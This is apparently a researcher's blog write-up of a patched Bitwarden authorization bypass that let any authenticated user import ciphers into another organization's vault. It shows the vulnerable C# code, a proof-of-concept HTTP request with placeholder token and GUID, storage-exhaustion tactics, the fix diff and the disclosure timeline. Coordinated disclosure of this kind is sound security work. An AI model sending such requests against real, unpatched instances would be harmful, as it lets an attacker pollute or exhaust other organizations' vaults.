cd ../blog
cat /var/log/exploits/bitwarden-import-org-bypass.md

# Bitwarden: Empty collections[] Skips Auth on POST /ciphers/import-organization

MEDIUM
May 9, 2026
[6 min read]
BitwardenBug BountyAuthorizationCross-TenantHackerOneCVE-2026-43638

Bitwarden: Empty `collections[]` Skips Auth on Org Import

The auth gate had an early return for the empty case. The "common case" was the bypass.

Third writeup in my Bitwarden series. A single early-return in an authorization check let any authenticated user import ciphers into any organization by GUID — no membership in the target org required.


//TL;DR

POST /ciphers/import-organization?organizationId={orgId} had this guard:

csharp
private async Task<bool> CheckOrgImportPermission(List<Collection> collections, Guid orgId)
{
    if (await _currentContext.AccessImportExport(orgId)) return true;

    var orgCollectionIds = (await _collectionRepository.GetManyByOrganizationIdAsync(orgId))
        .Select(c => c.Id).ToHashSet();

    if (collections.Count == 0) return true;   // ← the bug

    // ... per-collection permission checks ...
}

The early return meant: if you submit collections: [], you skip every check below — *including* whether you're a member of the target organization at all. Combined with ImportCiphersCommand.ImportIntoOrganizationalVaultAsync not validating membership either (it fetched the OrganizationUser row but never checked it was non-null before continuing), any authenticated user could write ciphers into any organization by GUID.


//The vulnerable code

Two layers had to be broken for this to be exploitable, and both were:

Layer 1src/Api/Tools/Controllers/ImportCiphersController.cs:

csharp
[HttpPost("import-organization")]
public async Task PostImportOrganization(
    [FromQuery] string organizationId,
    [FromBody] ImportOrganizationCiphersRequestModel model)
{
    var orgId = new Guid(organizationId);                   // attacker-controlled
    var collections = model.Collections.Select(c => c.ToCollection(orgId)).ToList();

    var authorized = await CheckOrgImportPermission(collections, orgId);
    if (!authorized)
        throw new BadRequestException("Not enough privileges to import into this organization.");

    // ...
    await _importCiphersCommand.ImportIntoOrganizationalVaultAsync(
        collections, ciphers, model.CollectionRelationships, userId);
}

Layer 2src/Core/Tools/ImportFeatures/ImportCiphersCommand.cs:

csharp
public async Task ImportIntoOrganizationalVaultAsync(
    List<Collection> collections, List<CipherDetails> ciphers, ..., Guid importingUserId)
{
    var org = collections.Count > 0
        ? await _organizationRepository.GetByIdAsync(collections[0].OrganizationId)
        : await _organizationRepository.GetByIdAsync(
            ciphers.FirstOrDefault(c => c.OrganizationId.HasValue).OrganizationId.Value);

    var importingOrgUser = await _organizationUserRepository
        .GetByOrganizationAsync(org.Id, importingUserId);
    // importingOrgUser may be null. Nothing throws.

    // ...
    await _cipherRepository.CreateAsync(ciphers, newCollections, collectionCiphers, ...);
}

The org ID comes from the *query string*, not from JWT claims. The membership lookup happens, but its result isn't checked. So even if the controller had failed open, the command layer also failed open.


//What the exploit looks like

The minimum viable request, with my non-member account's bearer token:

http
POST /ciphers/import-organization?organizationId=<TARGET_ORG_GUID> HTTP/1.1
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "ciphers": [{
    "type": 2,
    "name": "2.dGVzdA==|dGVzdA==|dGVzdA==",
    "notes": "2.dGVzdA==|dGVzdA==|dGVzdA==",
    "secureNote": {"type": 0},
    "organizationId": "<TARGET_ORG_GUID>"
  }],
  "collections": [],
  "collectionRelationships": []
}

Server responds HTTP 200. The cipher row lands in [dbo].[Cipher] with OrganizationId = <TARGET_ORG_GUID> and UserId = NULL — the standard "organization cipher, no collection assignment" shape — and shows up under Admin Console → Vault → Unassigned in the target org.


//Impact

This is a cross-tenant, by-GUID write that needs no membership in the target org — but its severity is capped by Bitwarden's zero-knowledge model. Injected ciphers are encrypted with the attacker's own key, so members just see decryption failures, not readable content; there is no data injection or phishing here. What remains lands the bug at Medium:

  • Storage / DoS. ImportIntoOrganizationalVaultAsync does no per-cipher size or storage-quota check. CipherRequestModel.Data accepts up to 500,000 chars, cloud allows up to 40,000 ciphers per request, and self-hosted skips both the cipher-count cap and rate limiting. An attacker can write arbitrarily large blobs into a target org's storage.
  • Vault pollution. CipherOrganizationDetails_ReadUnassignedByOrganizationId returns every unassigned cipher with no encryption validation, so the garbage entries appear in admin views and have to be deleted by hand.
  • Forced re-sync. CipherRepository.CreateAsync calls User_BumpAccountRevisionDateByOrganizationId, bumping AccountRevisionDate for every confirmed member — their clients then trigger a full vault re-sync.

//The fix

PR #7394, commit `ebbf6dd0`. Both layers were patched in the same change.

Controller — drop the empty-collections early return entirely:

diff
- // when there are no collections, then we can import
- if (collections.Count == 0)
- {
-     return true;
- }
-
  // are we trying to import into existing collections?
  var existingCollections = collections.Where(tc => orgCollectionIds.Contains(tc.Id));

(The method also got renamed from CheckOrgImportPermission to CheckOrgImportPermissionAsync for the codebase's async-naming convention.)

Command — explicitly require the caller to be either an org member or a provider user:

diff
+ var orgId = collections.Count > 0
+     ? collections[0].OrganizationId
+     : ciphers.FirstOrDefault(c => c.OrganizationId.HasValue)?.OrganizationId;
+
+ if (orgId is null)
+     throw new BadRequestException("No organization ID found in the import data.");
+
+ var org = await _organizationRepository.GetByIdAsync(orgId.Value);
+ if (org is null) throw new NotFoundException("Organization not found.");
+
  var importingOrgUser = await _organizationUserRepository
      .GetByOrganizationAsync(org.Id, importingUserId);
+
+ // A managed service provider is expected to be able to perform imports
+ // on behalf of a managed org. In this situation importingOrgUser will be
+ // null, so we cross-check MSP status.
+ if (importingOrgUser is null && !await _currentContext.ProviderUserForOrgAsync(org.Id))
+ {
+     throw new UnauthorizedAccessException(
+         "An organization import can only be performed by organization members or authorized providers");
+ }

The provider carve-out is a real product requirement — MSPs do imports on behalf of managed orgs and aren't OrganizationUser rows on the target. The fix uses ProviderUserForOrgAsync (which checks the ProviderOrganization link) to permit that case while denying everyone else.

Tests landed alongside the change — controller tests in ImportCiphersControllerTests.cs and command tests in ImportCiphersAsyncCommandTests.cs.


//Disclosure timeline

All times UTC.

  • 2026-03-25 — Report submitted to HackerOne (#3627482).
  • 2026-03-30 — Severity set to Medium (5.4); triaged.
  • 2026-04-08 — Patch lands on main: PR #7394, commit `ebbf6dd0`.
  • 2026-04-20 — Fix included in self-hosted release `v2026.4.1`.
  • 2026-05-06/07 — Bitwarden Cloud rollout. Report resolved 2026-05-07 with bounty.
  • 2026-05-09 — Public writeup.

//Takeaways

  • An "early return for the empty case" in an authorization function is almost always wrong. Auth checks should fail closed; a missing input means *more* scrutiny, not less. if (X.Count == 0) return true reads like "no work to do" but says "no proof to require."
  • Defense in depth has to actually be deep. Two layers had to fail for this to be exploitable. Both did. When the controller permits and the command persists, neither layer alone owns the policy. Make at least one of them own it.

Thanks to @mandreko-bitwarden and the Bitwarden security team for the quick triage and fix.

@thesanjok

[EOF]